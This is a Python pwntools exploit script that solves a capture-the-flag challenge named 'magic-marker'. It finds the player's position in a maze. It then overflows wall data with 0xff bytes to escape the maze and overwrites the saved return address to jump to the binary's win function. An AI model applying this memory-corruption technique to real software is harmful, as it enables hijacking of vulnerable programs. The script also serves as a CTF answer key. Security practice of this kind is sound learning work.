#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./magic-marker')

if args.REMOTE:
	p = remote('chals.damctf.xyz', 31313)
else:
	p = process(binary.path)

p.sendlineafter(b'?\n',b'jump up and down')

# where am i?
p.sendlineafter(b'): ',b'm')

x = y = 0
for i in range(80):
	_ = p.recvline().strip()
	if b'|' in _:
		y += 1
	if b'*' in _:
		x = (2 + _.find(b'*')) // 4
		break

log.info('x,y = {x},{y}'.format(x = x, y = y))

# kick down the walls and get to the lower right
for i in range(40 - x):
	p.sendlineafter(b'): ', b'x')
	p.sendlineafter(b'?\n', 0x20 * b'\xff')
	p.sendlineafter(b'): ', b'd')

for j in range(40 - y):
	p.sendlineafter(b'): ', b'x')
	p.sendlineafter(b'?\n', 0x20 * b'\xff')
	p.sendlineafter(b'): ', b's')

# lets bust out of here, return to the east
p.sendlineafter(b'): ', b'x')
p.sendlineafter(b'?\n', 0x20 * b'\xff')
p.sendlineafter(b'): ', b'd')
p.sendlineafter(b'): ', b'd')
p.sendlineafter(b'): ', b'x')
p.sendlineafter(b'?\n', 0x20 * b'\xff')
p.sendlineafter(b'): ', b'd')
p.sendlineafter(b'): ', b'x')

# 8 bytes before the return address FTW!
p.sendlineafter(b'?\n', p64(0) + p64(binary.sym.win))
p.sendlineafter(b'): ', b'q')
p.stream()
